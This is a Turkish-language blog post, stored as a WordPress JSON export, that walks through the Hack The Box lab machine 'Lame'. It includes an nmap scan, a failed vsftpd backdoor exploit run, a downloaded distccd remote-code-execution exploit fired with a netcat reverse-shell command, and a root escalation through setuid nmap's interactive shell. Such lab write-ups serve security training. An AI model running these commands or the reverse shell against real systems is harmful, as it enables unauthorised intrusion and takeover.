{"id":1433,"date":"2021-07-29T18:01:43","date_gmt":"2021-07-29T18:01:43","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1433"},"modified":"2022-06-11T09:15:01","modified_gmt":"2022-06-11T09:15:01","slug":"lame","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/29\/lame\/","title":{"rendered":"Lame"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Lame<\/a> – HTB<\/td>\nKolay<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

Nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-29 09:09 EDT\nNmap scan report for 10.10.10.3\nHost is up (0.073s latency).\nNot shown: 65530 filtered ports\nPORT     STATE SERVICE     VERSION\n21\/tcp   open  ftp         vsftpd 2.3.4\n|_ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to 10.10.14.13\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      vsFTPd 2.3.4 - secure, fast, stable\n|_End of status\n22\/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)\n| ssh-hostkey: \n|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)\n|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)\n139\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)\n3632\/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: 2h00m25s, deviation: 2h49m46s, median: 22s\n| smb-os-discovery: \n|   OS: Unix (Samba 3.0.20-Debian)\n|   Computer name: lame\n|   NetBIOS computer name: \n|   Domain name: hackthebox.gr\n|   FQDN: lame.hackthebox.gr\n|_  System time: 2021-07-29T09:11:54-04:00\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n|_smb2-time: Protocol negotiation failed (SMB2)\n\nTRACEROUTE (using port 22\/tcp)\nHOP RTT      ADDRESS\n1   74.68 ms 10.10.14.1\n2   74.74 ms 10.10.10.3\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 147.09 seconds\n<\/code><\/pre>\n
nmap \u00e7\u0131kt\u0131s\u0131na g\u00f6re vsftpd 2.3.4<\/strong> zafiyetli ancak manip\u00fcle edemedim. Bunun \u00fczerine di\u011fer servislerle ilgilenmeye ba\u015flad\u0131m ve internette distccd v1<\/strong> exploitini buldum.<\/p>\n
\u0130lk olarak ftp i\u00e7in yapt\u0131klar\u0131m a\u015fa\u011f\u0131da<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# searchsploit vsftpd 2.3.4                                                                                                                                                                                                             1 ⚙\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                                              |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nvsftpd 2.3.4 - Backdoor Command Execution                                                                                                                                                                   | unix\/remote\/49757.py\nvsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                                                                                      | unix\/remote\/17491.rb\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# searchsploit -m unix\/remote\/49757.py                                                                                                                                                                                                  1 ⚙\n  Exploit: vsftpd 2.3.4 - Backdoor Command Execution\n      URL: https:\/\/www.exploit-db.com\/exploits\/49757\n     Path: \/usr\/share\/exploitdb\/exploits\/unix\/remote\/49757.py\nFile Type: Python script, ASCII text executable, with CRLF line terminators\n\nCopied to: \/root\/oscp\/htb\/Lame\/49757.py\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# python3 49757.py 10.10.10.3                                                                                                                                                                                                           1 ⚙\nTraceback (most recent call last):\n  File "\/root\/oscp\/htb\/Lame\/49757.py", line 37, in <module>\n    tn2=Telnet(host, 6200)\n  File "\/usr\/lib\/python3.9\/telnetlib.py", line 218, in __init__\n    self.open(host, port, timeout)\n  File "\/usr\/lib\/python3.9\/telnetlib.py", line 235, in open\n    self.sock = socket.create_connection((host, port), timeout)\n  File "\/usr\/lib\/python3.9\/socket.py", line 843, in create_connection\n    raise err\n  File "\/usr\/lib\/python3.9\/socket.py", line 831, in create_connection\n    sock.connect(sa)\nTimeoutError: [Errno 110] Connection timed out\n<\/code><\/pre>\n
https:\/\/gist.githubusercontent.com\/DarkCoderSc\/4dbf6229a93e75c3bdf6b467e67a9855\/raw\/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f\/distccd_rce_CVE-2004-2687.py<\/a><\/strong> adresindeki exploit ile reverse alabildim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# wget https:\/\/gist.githubusercontent.com\/DarkCoderSc\/4dbf6229a93e75c3bdf6b467e67a9855\/raw\/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f\/distccd_rce_CVE-2004-2687.py\n--2021-07-29 09:43:36--  https:\/\/gist.githubusercontent.com\/DarkCoderSc\/4dbf6229a93e75c3bdf6b467e67a9855\/raw\/48ab4eb0bd69cac67bc97fbe182e39e5ded99f9f\/distccd_rce_CVE-2004-2687.py\nResolving gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...\nConnecting to gist.githubusercontent.com (gist.githubusercontent.com)|185.199.111.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2650 (2.6K) [text\/plain]\nSaving to: \u2018distccd_rce_CVE-2004-2687.py\u2019\n\ndistccd_rce_CVE-2004-2687.py                                100%[=========================================================================================================================================>]   2.59K  --.-KB\/s    in 0s      \n\n2021-07-29 09:43:37 (28.4 MB\/s) - \u2018distccd_rce_CVE-2004-2687.py\u2019 saved [2650\/2650]\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# python2 distccd_rce_CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c hostname\n[OK] Connected to remote service\n\n--- BEGIN BUFFER ---\n\nlame\n\n--- END BUFFER ---\n\n[OK] Done.\n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# python2 distccd_rce_CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.13 4444 -e \/bin\/bash"\n[OK] Connected to remote service\n\n```sh\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/htb\/Lame]\n\u2514\u2500# nc -lvp 4444   \nlistening on [any] 4444 ...\n10.10.10.3: inverse host lookup failed: Unknown host\nconnect to [10.10.14.13] from (UNKNOWN) [10.10.10.3] 38094\nid\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\nwhich python\n\/usr\/bin\/python\npython -c 'import pty; pty.spawn(\"\/bin\/bash\")'\ndaemon@lame:\/tmp$ ls\nls\n5563.jsvc_up        distcc_d863b149.stderr  distccd_d8e3b149.o  vmware-root\ndistcc_d856b149.stdout  distccd_d81db149.i  vgauthsvclog.txt.0\ndaemon@lame:\/tmp$ \n<\/code><\/pre>\n
\u0130lk flagimizi okuyal\u0131m.<\/p>\n
daemon@lame:\/home\/makis$ ls\nls\ntotal 28\ndrwxr-xr-x 2 makis makis 4096 Mar 14  2017 .\ndrwxr-xr-x 6 root  root  4096 Mar 14  2017 ..\n-rw------- 1 makis makis 1107 Mar 14  2017 .bash_history\n-rw-r--r-- 1 makis makis  220 Mar 14  2017 .bash_logout\n-rw-r--r-- 1 makis makis 2928 Mar 14  2017 .bashrc\n-rw-r--r-- 1 makis makis  586 Mar 14  2017 .profile\n-rw-r--r-- 1 makis makis    0 Mar 14  2017 .sudo_as_admin_successful\n-rw-r--r-- 1 makis makis   33 Jul 29 07:30 user.txt\ndaemon@lame:\/home\/makis$ cat user.txt\ncat user.txt\nbf9****************************<\/code><\/pre>\n
Yetki y\u00fckseltmek i\u00e7in enumaration yaparken nmap ile ilgili ilgi \u00e7ekici bir \u00e7\u0131kt\u0131 yakalad\u0131m.<\/p>\n
\n[!] fst020 Uncommon setuid binaries........................................ yes!\n---ore--(9%)\n\/lib\/dhcp3-client\/call-dhclient-script\n\/usr\/bin\/X\n\/usr\/bin\/netkit-rsh\n\/usr\/bin\/netkit-rlogin\n\/usr\/bin\/nmap\n\/usr\/bin\/netkit-rcp\n\/usr\/lib\/telnetlogin\n\/usr\/lib\/apache2\/suexec\n\/usr\/lib\/vmware-tools\/bin64\/vmware-user-suid-wrapper\n\/usr\/lib\/vmware-tools\/bin32\/vmware-user-suid-wrapper\n---ore--(9%)<\/code><\/pre>\n
daemon@lame:\/tmp$ id\nid\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\ndaemon@lame:\/tmp$ nmap -V\nnmap -V\n\nNmap version 4.53 ( http:\/\/insecure.org )\ndaemon@lame:\/tmp$ nmap --interactive\nnmap --interactive\n\nStarting Nmap V. 4.53 ( http:\/\/insecure.org )\nWelcome to Interactive Mode -- press h  for help\nnmap>  !sh\n !sh\nsh-3.2# id\nid\nuid=1(daemon) gid=1(daemon) euid=0(root) groups=1(daemon)\nsh-3.2# cd \/root\ncd \/root\nsh-3.2# ls\nls\nDesktop  reset_logs.sh  root.txt  vnc.log\nsh-3.2# cat root.txt\ncat root.txt\nc5***************************\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Lame – HTB Kolay Linux Walkthrough Nmap taramas\u0131 ile ba\u015flayal\u0131m. Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-29 09:09 EDT…<\/p>\n
Devam\u0131n\u0131 okuLame<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[582,583,182],"class_list":["post-1433","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-cve-2004-2687","tag-distccd","tag-nmap","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1433"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1433\/revisions"}],"predecessor-version":[{"id":1890,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1433\/revisions\/1890"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}